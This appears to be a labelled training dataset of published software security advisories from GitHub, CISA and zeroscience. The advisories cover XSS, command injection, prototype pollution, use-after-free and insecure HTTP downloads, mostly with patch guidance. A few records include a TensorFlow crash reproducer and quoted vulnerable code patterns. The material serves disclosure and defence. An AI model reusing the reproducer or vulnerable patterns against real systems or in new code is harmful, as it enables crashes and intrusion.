-{"id": "a15cabe9e7d330b65e2c", "text": "mystem downloads Resources over HTTP\n\nAffected versions of `mystem` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `mystem`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "mystem downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `mystem` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `mystem`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "01a309a573575599a81b", "text": "FaceSentry Access Control System 6.4.8 Cleartext Password Storage", "text_raw": "FaceSentry Access Control System 6.4.8 Cleartext Password Storage\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2019-06-30", "split": "train"}
-{"id": "1ded253b40732a460ce5", "text": "Command injection in gitlogplus\n\nAll versions of package gitlogplus are vulnerable to Command Injection via the main functionality, as options attributes are appended to the command to be executed without sanitization.", "text_raw": "Command injection in gitlogplus\n\n[Severity: CRITICAL]\n\nAll versions of package gitlogplus are vulnerable to Command Injection via the main functionality, as options attributes are appended to the command to be executed without sanitization.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-07-26", "split": "train"}
-{"id": "cb29424ae5030b83f332", "text": "Action Pack contains Information Disclosure / Unintended Method Execution vulnerability\n\nImpact\n------\nThere is a possible information disclosure / unintended method execution vulnerability in Action Pack when using the `redirect_to` or `polymorphic_url` helper with untrusted user input.\n\nVulnerable code will look like this.\n\n```\nredirect_to(params[:some_param])\n```\n\nAll users running an affected release should either upgrade or use one of the workarounds immediately.\n\nReleases\n--------\nThe FIXED releases are available at the normal locations.\n\nWorkarounds\n-----------\nTo work around this problem, it is recommended to use an allow list for valid parameters passed from the user.  For example,\n\n```ruby\nprivate def check(param)\n  case param\n  when \"valid\"\n    param\n  else\n    \"/\"\n  end\nend\n\ndef index\n  redirect_to(check(params[:some_param]))\nend\n```\n\nOr force the user input to be cast to a string like this,\n\n```ruby\ndef index\n  redirect_to(params[:some_param].to_s)\nend\n```\n\nPatches\n-------\nTo aid users who aren't able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.\n\n* 5-2-information-disclosure.patch - Patch for 5.2 series\n* 6-0-information-disclosure.patch - Patch for 6.0 series\n* 6-1-information-disclosure.patch - Patch for 6.1 series\n\nPlease note that only the 5.2, 6.0, and 6.1 series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.\n\nCredits\n-------\n\nThanks to Benoit Côté-Jodoin from Shopify for reporting this.", "text_raw": "Action Pack contains Information Disclosure / Unintended Method Execution vulnerability\n\n[Severity: HIGH]\n\nImpact\n------\nThere is a possible information disclosure / unintended method execution vulnerability in Action Pack when using the `redirect_to` or `polymorphic_url` helper with untrusted user input.\n\nVulnerable code will look like this.\n\n```\nredirect_to(params[:some_param])\n```\n\nAll users running an affected release should either upgrade or use one of the workarounds immediately.\n\nReleases\n--------\nThe FIXED releases are available at the normal locations.\n\nWorkarounds\n-----------\nTo work around this problem, it is recommended to use an allow list for valid parameters passed from the user.  For example,\n\n```ruby\nprivate def check(param)\n  case param\n  when \"valid\"\n    param\n  else\n    \"/\"\n  end\nend\n\ndef index\n  redirect_to(check(params[:some_param]))\nend\n```\n\nOr force the user input to be cast to a string like this,\n\n```ruby\ndef index\n  redirect_to(params[:some_param].to_s)\nend\n```\n\nPatches\n-------\nTo aid users who aren't able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.\n\n* 5-2-information-disclosure.patch - Patch for 5.2 series\n* 6-0-information-disclosure.patch - Patch for 6.0 series\n* 6-1-information-disclosure.patch - Patch for 6.1 series\n\nPlease note that only the 5.2, 6.0, and 6.1 series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.\n\nCredits\n-------\n\nThanks to Benoit Côté-Jodoin from Shopify for reporting this.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-05", "split": "train"}
-{"id": "4f33dc9fecb10ab3a5ad", "text": "Fortinet FortiOS Arbitrary File Download\n\nAffected: Fortinet FortiOS\n\nFortinet FortiOS \"execute restore src-vis\" downloads code without integrity checking, allowing an attacker to arbitrarily download files.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-494\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Fortinet FortiOS Arbitrary File Download\n\nAffected: Fortinet FortiOS\n\nFortinet FortiOS \"execute restore src-vis\" downloads code without integrity checking, allowing an attacker to arbitrarily download files.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-494\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-12-10", "split": "train"}
-{"id": "4eba065b5648e80b9cfa", "text": "windows-selenium-chromedriver downloads Resources over HTTP\n\nAffected versions of `windows-selenium-chromedriver` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `windows-selenium-chromedriver`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "windows-selenium-chromedriver downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `windows-selenium-chromedriver` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `windows-selenium-chromedriver`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "f788747c87d2ba1954cd", "text": "Webcache Poisoning in shopware/platform and shopware/core\n\n### Impact\nWebcache Poisoning via X-Forwarded-Prefix and sub-request\n\n### Patches\nWe recommend updating to the current version 6.4.6.1. You can get the update to 6.4.6.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\nWorkarounds\nFor older versions of 6.1, 6.2, and 6.3, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659", "text_raw": "Webcache Poisoning in shopware/platform and shopware/core\n\n[Severity: CRITICAL]\n\n### Impact\nWebcache Poisoning via X-Forwarded-Prefix and sub-request\n\n### Patches\nWe recommend updating to the current version 6.4.6.1. You can get the update to 6.4.6.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\nWorkarounds\nFor older versions of 6.1, 6.2, and 6.3, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-24", "split": "train"}
-{"id": "2011504917d16913a3c8", "text": "Use after free in libpulse-binding\n\n### Overview\n\nVersion 1.2.1 of the `libpulse-binding` Rust crate, released on the 15th of June 2018, fixed a pair of use-after-free issues with the objects returned by the `get_format_info` and `get_context` methods of `Stream` objects. These objects were mistakenly being constructed without setting an important flag to prevent destruction of the underlying C objects they reference upon their own destruction.\n\nThis advisory is being written retrospectively, having previously only been noted in the changelog. No CVE assignment was sought.\n\n### Patches\n\nUsers are required to update to version 1.2.1 or newer.\n\nVersions older than 1.2.1 have been yanked from crates.io. This was believed to have already been done at the time of the 1.2.1 release, but upon double checking now they were found to still be available, so has been done now (22nd October 2020).", "text_raw": "Use after free in libpulse-binding\n\n[Severity: HIGH]\n\n### Overview\n\nVersion 1.2.1 of the `libpulse-binding` Rust crate, released on the 15th of June 2018, fixed a pair of use-after-free issues with the objects returned by the `get_format_info` and `get_context` methods of `Stream` objects. These objects were mistakenly being constructed without setting an important flag to prevent destruction of the underlying C objects they reference upon their own destruction.\n\nThis advisory is being written retrospectively, having previously only been noted in the changelog. No CVE assignment was sought.\n\n### Patches\n\nUsers are required to update to version 1.2.1 or newer.\n\nVersions older than 1.2.1 have been yanked from crates.io. This was believed to have already been done at the time of the 1.2.1 release, but upon double checking now they were found to still be available, so has been done now (22nd October 2020).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "266af76ec0916ffbacf2", "text": "Cross-Site Scripting in keystone\n\nVersions of `keystone` prior to 4.0.0 are vulnerable to Cross-Site Scripting (XSS). The package fails to properly encode rendered HTML on admin-created blog posts. This allows attackers to execute arbitrary JavaScript in the victim's browser. Exploiting this vulnerability requires having access to an admin account.\n\n## Recommendation\n\nUpdate to version 4.0.0 or later.", "text_raw": "Cross-Site Scripting in keystone\n\n[Severity: MEDIUM]\n\nVersions of `keystone` prior to 4.0.0 are vulnerable to Cross-Site Scripting (XSS). The package fails to properly encode rendered HTML on admin-created blog posts. This allows attackers to execute arbitrary JavaScript in the victim's browser. Exploiting this vulnerability requires having access to an admin account.\n\n\n## Recommendation\n\nUpdate to version 4.0.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-11-16", "split": "train"}
-{"id": "c0df2140839268fce0bc", "text": "Regular Expression Denial of Service in System.Text.RegularExpressions\n\nA denial of service vulnerability exists when .NET Framework and .NET Core improperly process RegEx strings, aka '.NET Framework and .NET Core Denial of Service Vulnerability'. This CVE ID is unique from CVE-2019-0980, CVE-2019-0981.", "text_raw": "Regular Expression Denial of Service in System.Text.RegularExpressions\n\n[Severity: HIGH]\n\nA denial of service vulnerability exists when .NET Framework and .NET Core improperly process RegEx strings, aka '.NET Framework and .NET Core Denial of Service Vulnerability'. This CVE ID is unique from CVE-2019-0980, CVE-2019-0981.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-04", "split": "train"}
-{"id": "9b1c8ba221e246377c08", "text": "Prototype Pollution in x-assign\n\nThis vulnerability affects all versions of package x-assign. The global proto object can be polluted using the __proto__ object.", "text_raw": "Prototype Pollution in x-assign\n\n[Severity: HIGH]\n\nThis vulnerability affects all versions of package x-assign. The global proto object can be polluted using the __proto__ object.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-21", "split": "train"}
-{"id": "0d3200e7b323e7814b49", "text": "Deserialization of Untrusted Data in PyYAML\n\nPyYAML 5.1 through 5.1.2 has insufficient restrictions on the load and load_all functions because of a class deserialization issue, e.g., Popen is a class in the subprocess module. NOTE: this issue exists because of an incomplete fix for CVE-2017-18342.", "text_raw": "Deserialization of Untrusted Data in PyYAML\n\n[Severity: CRITICAL]\n\nPyYAML 5.1 through 5.1.2 has insufficient restrictions on the load and load_all functions because of a class deserialization issue, e.g., Popen is a class in the subprocess module. NOTE: this issue exists because of an incomplete fix for CVE-2017-18342.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-20", "split": "train"}
-{"id": "ee5424f08a98bc924c61", "text": "XSS vulnerability when listing users on add & modify server pages.\n\n### Impact\nAn XSS vulnerability exists in versions of Pterodactyl Panel before 0.7.19. Affected versions do not properly sanitize account names before rendering them to the dropdown selector in the admin area when creating or modifying a server.\n\n### Patches\nThis XSS has been addressed in 0.7.19 and will be rolled forwards into the 1.0-rc.7 release.\n\n### Workarounds\nNo workaround exists without manual patching. See https://github.com/pterodactyl/panel/pull/2441/files for the files changed.\n\n### For more information\nIf you have any questions or comments about this advisory please reach out on Discord, or by emailing `dane` at `pterodactyl` dot `io`.\n\n_Thank you to Sergej for the responsible disclosure of this issue._", "text_raw": "XSS vulnerability when listing users on add & modify server pages.\n\n[Severity: MEDIUM]\n\n### Impact\nAn XSS vulnerability exists in versions of Pterodactyl Panel before 0.7.19. Affected versions do not properly sanitize account names before rendering them to the dropdown selector in the admin area when creating or modifying a server.\n\n### Patches\nThis XSS has been addressed in 0.7.19 and will be rolled forwards into the 1.0-rc.7 release.\n\n### Workarounds\nNo workaround exists without manual patching. See https://github.com/pterodactyl/panel/pull/2441/files for the files changed.\n\n### For more information\nIf you have any questions or comments about this advisory please reach out on Discord, or by emailing `dane` at `pterodactyl` dot `io`.\n\n_Thank you to Sergej for the responsible disclosure of this issue._", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-10-08", "split": "train"}
-{"id": "908df55cf75f42f1f03d", "text": "Incomplete validation in `QuantizeV2`\n\n### Impact                                                                                                                                                                                                                                                                                \nDue to incomplete validation in `tf.raw_ops.QuantizeV2`, an attacker can trigger undefined behavior via binding a reference to a null pointer or can access data outside the bounds of heap allocated arrays:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.QuantizeV2(\n  input=[1,2,3],\n  min_range=[1,2],\n  max_range=[],\n  T=tf.qint32,\n  mode='SCALED',\n  round_mode='HALF_AWAY_FROM_ZERO',\n  narrow_range=False,\n  axis=1,\n  ensure_minimum_range=3)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/quantize_op.cc#L59) has some validation but does not check that `min_range` and `max_range` both have the same non-zero number of elements. If `axis` is provided (i.e., not `-1`), then validation should check that it is a value in range for the rank of `input` tensor and then the lengths of `min_range` and `max_range` inputs match the `axis` dimension of the `input` tensor.\n\n### Patches\nWe have patched the issue in GitHub commit [6da6620efad397c85493b8f8667b821403516708](https://github.com/tensorflow/tensorflow/commit/6da6620efad397c85493b8f8667b821403516708).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Incomplete validation in `QuantizeV2`\n\n[Severity: HIGH]\n\n### Impact                                                                                                                                                                                                                                                                                \nDue to incomplete validation in `tf.raw_ops.QuantizeV2`, an attacker can trigger undefined behavior via binding a reference to a null pointer or can access data outside the bounds of heap allocated arrays:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.QuantizeV2(\n  input=[1,2,3],\n  min_range=[1,2],\n  max_range=[],\n  T=tf.qint32,\n  mode='SCALED',\n  round_mode='HALF_AWAY_FROM_ZERO',\n  narrow_range=False,\n  axis=1,\n  ensure_minimum_range=3)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/quantize_op.cc#L59) has some validation but does not check that `min_range` and `max_range` both have the same non-zero number of elements. If `axis` is provided (i.e., not `-1`), then validation should check that it is a value in range for the rank of `input` tensor and then the lengths of `min_range` and `max_range` inputs match the `axis` dimension of the `input` tensor.\n  \n### Patches\nWe have patched the issue in GitHub commit [6da6620efad397c85493b8f8667b821403516708](https://github.com/tensorflow/tensorflow/commit/6da6620efad397c85493b8f8667b821403516708).\n  \nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "e8721219046f99bfa673", "text": "typed-ast Out-of-bounds Read\n\ntyped_ast 1.3.0 and 1.3.1 has a handle_keywordonly_args out-of-bounds read. An attacker with the ability to cause a Python interpreter to parse Python source (but not necessarily execute it) may be able to crash the interpreter process. This could be a concern, for example, in a web-based service that parses (but does not execute) Python code. (This issue also affected certain Python 3.8.0-alpha prereleases.)", "text_raw": "typed-ast Out-of-bounds Read\n\n[Severity: HIGH]\n\ntyped_ast 1.3.0 and 1.3.1 has a handle_keywordonly_args out-of-bounds read. An attacker with the ability to cause a Python interpreter to parse Python source (but not necessarily execute it) may be able to crash the interpreter process. This could be a concern, for example, in a web-based service that parses (but does not execute) Python code. (This issue also affected certain Python 3.8.0-alpha prereleases.)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-12-02", "split": "train"}
-{"id": "1039805eecf3b27796a9", "text": "Code injection in mock2easy\n\nThis affects all versions up to and including version 0.0.24 of package mock2easy. a malicious user could inject commands through the `_data` variable:\n\nAffected Area\n\n```js\nrequire('../server/getJsonByCurl')(mock2easy, function(error, stdout) {\n    if (error) {\n        return res.json(500, error);\n    }\n    res.json(JSON.parse(stdout));\n}, '', _data.interfaceUrl, query, _data.cookie, _data.interfaceType);```", "text_raw": "Code injection in mock2easy\n\n[Severity: CRITICAL]\n\nThis affects all versions up to and including version 0.0.24 of package mock2easy. a malicious user could inject commands through the `_data` variable: \n\nAffected Area\n\n```js\nrequire('../server/getJsonByCurl')(mock2easy, function(error, stdout) {\n    if (error) {\n        return res.json(500, error);\n    }\n    res.json(JSON.parse(stdout));\n}, '', _data.interfaceUrl, query, _data.cookie, _data.interfaceType);```", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "ae4bd9960b073026164c", "text": "Cross-site scripting vulnerability in TinyMCE\n\n### Impact\nA cross-site scripting (XSS) vulnerability was discovered in the schema validation logic of the core parser. The vulnerability allowed arbitrary JavaScript execution when inserting a specially crafted piece of content into the editor using the clipboard or editor APIs. This malicious content could then end up in content published outside the editor, if no server-side sanitization was performed. This impacts all users who are using TinyMCE 5.8.2 or lower.\n\n### Patches\nThis vulnerability has been patched in TinyMCE 5.9.0 by ensuring schema validation was still performed after unwrapping invalid elements.\n\n### Workarounds\nTo work around this vulnerability, either:\n- Upgrade to TinyMCE 5.9.0 or higher\n- Manually sanitize the content using the `BeforeSetContent` event (see below)\n\n#### Example: Manually sanitize content\n```js\neditor.on('BeforeSetContent', function(e) {\n  var sanitizedContent = ...; // Manually sanitize content here\n  e.content = sanitizedContent;\n});\n```\n\n### Acknowledgements\nTiny Technologies would like to thank William Bowling for discovering this vulnerability.\n\n### References\nhttps://www.tiny.cloud/docs/release-notes/release-notes59/#securityfixes\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [infosec@tiny.cloud](mailto:infosec@tiny.cloud)\n* Open an issue in the [TinyMCE repo](https://github.com/tinymce/tinymce/issues)", "text_raw": "Cross-site scripting vulnerability in TinyMCE\n\n[Severity: MEDIUM]\n\n### Impact\nA cross-site scripting (XSS) vulnerability was discovered in the schema validation logic of the core parser. The vulnerability allowed arbitrary JavaScript execution when inserting a specially crafted piece of content into the editor using the clipboard or editor APIs. This malicious content could then end up in content published outside the editor, if no server-side sanitization was performed. This impacts all users who are using TinyMCE 5.8.2 or lower.\n\n### Patches\nThis vulnerability has been patched in TinyMCE 5.9.0 by ensuring schema validation was still performed after unwrapping invalid elements.\n\n### Workarounds\nTo work around this vulnerability, either:\n- Upgrade to TinyMCE 5.9.0 or higher\n- Manually sanitize the content using the `BeforeSetContent` event (see below)\n\n#### Example: Manually sanitize content\n```js\neditor.on('BeforeSetContent', function(e) {\n  var sanitizedContent = ...; // Manually sanitize content here\n  e.content = sanitizedContent;\n});\n```\n\n### Acknowledgements\nTiny Technologies would like to thank William Bowling for discovering this vulnerability.\n\n### References\nhttps://www.tiny.cloud/docs/release-notes/release-notes59/#securityfixes\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [infosec@tiny.cloud](mailto:infosec@tiny.cloud)\n* Open an issue in the [TinyMCE repo](https://github.com/tinymce/tinymce/issues)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-22", "split": "train"}
-{"id": "4c443236f8e464b3f3f1", "text": "socket2 invalidly assumes the memory layout of std::net::SocketAddr\n\nThe socket2 crate has assumed `std::net::SocketAddrV4` and `std::net::SocketAddrV6` have the same memory layout as the system C representation `sockaddr`. It has simply casted the pointers to convert the socket addresses to the system representation. The standard library does not say anything about the memory layout, and this will cause invalid memory access if the standard library changes the implementation. No warnings or errors will be emitted once the change happens.", "text_raw": "socket2 invalidly assumes the memory layout of std::net::SocketAddr\n\n[Severity: MEDIUM]\n\nThe socket2 crate has assumed `std::net::SocketAddrV4` and `std::net::SocketAddrV6` have the same memory layout as the system C representation `sockaddr`. It has simply casted the pointers to convert the socket addresses to the system representation. The standard library does not say anything about the memory layout, and this will cause invalid memory access if the standard library changes the implementation. No warnings or errors will be emitted once the change happens.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "3a946802f48dbd8ab36c", "text": "Cross-site Scripting (XSS) in Django REST Framework\n\nA flaw was found in Django REST Framework versions before 3.12.0 and before 3.11.2. When using the browseable API viewer, Django REST Framework fails to properly escape certain strings that can come from user input. This allows a user who can control those strings to inject malicious <script> tags, leading to a cross-site-scripting (XSS) vulnerability.", "text_raw": "Cross-site Scripting (XSS) in Django REST Framework\n\n[Severity: MEDIUM]\n\nA flaw was found in Django REST Framework versions before 3.12.0 and before 3.11.2. When using the browseable API viewer, Django REST Framework fails to properly escape certain strings that can come from user input. This allows a user who can control those strings to inject malicious <script> tags, leading to a cross-site-scripting (XSS) vulnerability.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-19", "split": "train"}
-{"id": "52299d1641f9d74eab78", "text": "Out-of-bounds Read in atob\n\nVersions of `atob` before 2.1.0  uninitialized Buffers when number is passed in input on Node.js 4.x and below.\n\n## Recommendation\n\nUpdate to version 2.1.0 or later.", "text_raw": "Out-of-bounds Read in atob\n\n[Severity: CRITICAL]\n\nVersions of `atob` before 2.1.0  uninitialized Buffers when number is passed in input on Node.js 4.x and below.\n\n\n## Recommendation\n\nUpdate to version 2.1.0 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-09", "split": "train"}
-{"id": "177ec939d54ec856878f", "text": "Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) in Ratpack\n\nRatpack versions before 1.6.1 generate a session ID using a cryptographically weak PRNG in the JDK's ThreadLocalRandom. This means that if an attacker can determine a small window for the server start time and obtain a session ID value, they can theoretically determine the sequence of session IDs.", "text_raw": "Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) in Ratpack\n\n[Severity: LOW]\n\nRatpack versions before 1.6.1 generate a session ID using a cryptographically weak PRNG in the JDK's ThreadLocalRandom. This means that if an attacker can determine a small window for the server start time and obtain a session ID value, they can theoretically determine the sequence of session IDs.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2019-05-14", "split": "train"}
-{"id": "006085668fea223fa3c2", "text": "Apache NiFi user log out issue\n\nWhen using an authentication mechanism other than PKI, when the user clicks Log Out in NiFi versions 1.0.0 to 1.9.2, NiFi invalidates the authentication token on the client side but not on the server side. This permits the user's client-side token to be used for up to 12 hours after logging out to make API requests to NiFi.", "text_raw": "Apache NiFi user log out issue\n\n[Severity: HIGH]\n\nWhen using an authentication mechanism other than PKI, when the user clicks Log Out in NiFi versions 1.0.0 to 1.9.2, NiFi invalidates the authentication token on the client side but not on the server side. This permits the user's client-side token to be used for up to 12 hours after logging out to make API requests to NiFi.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-12-02", "split": "train"}
-{"id": "f358a16833ad8af1551d", "text": "In Eclipse Jetty, versions 9.2.x and older, 9.3.x, transfer-encoding chunks are handled poorly. The chunk length parsing was vulnerable to an integer overflow. Thus a large chunk size could be interpreted as a smaller chunk size and content sent as chunk body could be interpreted as a pipelined request. If Jetty was deployed behind an intermediary that imposed some authorization and that intermediary allowed arbitrarily large chunks to be passed on unchanged, then this flaw could be used to bypass the authorization imposed by the intermediary as the fake pipelined request would not be interpreted by the intermediary as a request.", "text_raw": "Critical severity vulnerability that affects org.eclipse.jetty:jetty-server\n\n[Severity: CRITICAL]\n\nIn Eclipse Jetty, versions 9.2.x and older, 9.3.x, transfer-encoding chunks are handled poorly. The chunk length parsing was vulnerable to an integer overflow. Thus a large chunk size could be interpreted as a smaller chunk size and content sent as chunk body could be interpreted as a pipelined request. If Jetty was deployed behind an intermediary that imposed some authorization and that intermediary allowed arbitrarily large chunks to be passed on unchanged, then this flaw could be used to bypass the authorization imposed by the intermediary as the fake pipelined request would not be interpreted by the intermediary as a request.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-19", "split": "train"}
-{"id": "1224c5f165616bfd8b5f", "text": "Inefficient Regular Expression Complexity in Validator.js\n\n### Impact\nVersions of `validator` prior to 13.7.0 are affected by an inefficient Regular Expression complexity  when using the `rtrim` and `trim` sanitizers.\n\n### Patches\nThe problem has been patched in validator 13.7.0", "text_raw": "Inefficient Regular Expression Complexity in Validator.js\n\n[Severity: MEDIUM]\n\n### Impact\nVersions of `validator` prior to 13.7.0 are affected by an inefficient Regular Expression complexity  when using the `rtrim` and `trim` sanitizers.\n\n### Patches\nThe problem has been patched in validator 13.7.0", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-19", "split": "train"}
-{"id": "7301a0cdfdab29332b86", "text": "Data races in lock_api\n\nAn issue was discovered in the lock_api crate before 0.4.2 for Rust. A data race can occur because of MappedMutexGuard unsoundness.", "text_raw": "Data races in lock_api\n\n[Severity: MEDIUM]\n\nAn issue was discovered in the lock_api crate before 0.4.2 for Rust. A data race can occur because of MappedMutexGuard unsoundness.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "3629da25bfd86b295cd1", "text": "IDOR can reveal execution data and logs to unauthorized user in Rundeck\n\n### Impact\n\nAuthenticated users can craft a request that reveals Execution data and logs  and Job details that they are not authorized to see.\n\n### Details\n\nAn authenticated user could craft a request to:\n\n* View Executions and download execution logs without access to `read` or `view` the associated Job, or ad-hoc resource.\n* Get the list of running executions in a project, without Event `read` access, if they have `read` access to view the project.\n* View the Options definitions of a Job without access to view the Job.\n* View the definition of a workflow step of a Job without access to view the Job.\n* View the SCM diff of a modified Job definition if SCM is enabled, without Project `export` access level.\n* View the New User Profile Form for a different username, without User `admin` access. Note: they would not be allowed to create or modify a profile for a different user, or reveal any user profile information for a different user.\n\nSome authenticated API requests were not correctly checking appropriate authorization levels:\n\n* The list of running Executions would be sent without `read` access to Events.\n* The Plugin Input Parameters for a SCM plugin would be sent without authorization for project `import`,`scm_import`,`export`, or `scm_export` actions.\n* Job Retry action could retry an execution without `read` or `view` access to the Execution, which would reveal the Execution's option values. (`run` access to the Job was still required).\n\n### Patches\nUpgrade to Rundeck version 3.2.6\n\n### Workarounds\nNone\n\n### References\n[3.2.6 Release Notes](https://docs.rundeck.com/docs/history/3_2_x/version-3.2.6.html)\n\n### Report\nIf you have any questions or comments about this advisory:\n* Email us at [security@rundeck.com](mailto:security@rundeck.com)\n\nTo report security issues to Rundeck please use the form at [http://rundeck.com/security](http://rundeck.com/security)\n\nReporter: Justine Osborne of Apple Information Security", "text_raw": "IDOR can reveal execution data and logs to unauthorized user in Rundeck\n\n[Severity: MEDIUM]\n\n### Impact\n\nAuthenticated users can craft a request that reveals Execution data and logs  and Job details that they are not authorized to see.\n\n> Depending on the configuration and the way that Rundeck is used, this could result in anything between a high severity risk, or a very low risk. If access is tightly restricted and all users on the system have access to all projects, this is not really much of an issue. If access is wider and allows login for users that do not have access to any projects, or project access is restricted, there is a larger issue. If access is meant to be restricted and secrets, sensitive data, or intellectual property are exposed in Rundeck execution output and job data, the risk becomes much higher.\n\n### Details\n\nAn authenticated user could craft a request to:\n\n* View Executions and download execution logs without access to `read` or `view` the associated Job, or ad-hoc resource.\n* Get the list of running executions in a project, without Event `read` access, if they have `read` access to view the project.\n* View the Options definitions of a Job without access to view the Job.\n* View the definition of a workflow step of a Job without access to view the Job.\n* View the SCM diff of a modified Job definition if SCM is enabled, without Project `export` access level.\n* View the New User Profile Form for a different username, without User `admin` access. Note: they would not be allowed to create or modify a profile for a different user, or reveal any user profile information for a different user.\n\nSome authenticated API requests were not correctly checking appropriate authorization levels:\n\n* The list of running Executions would be 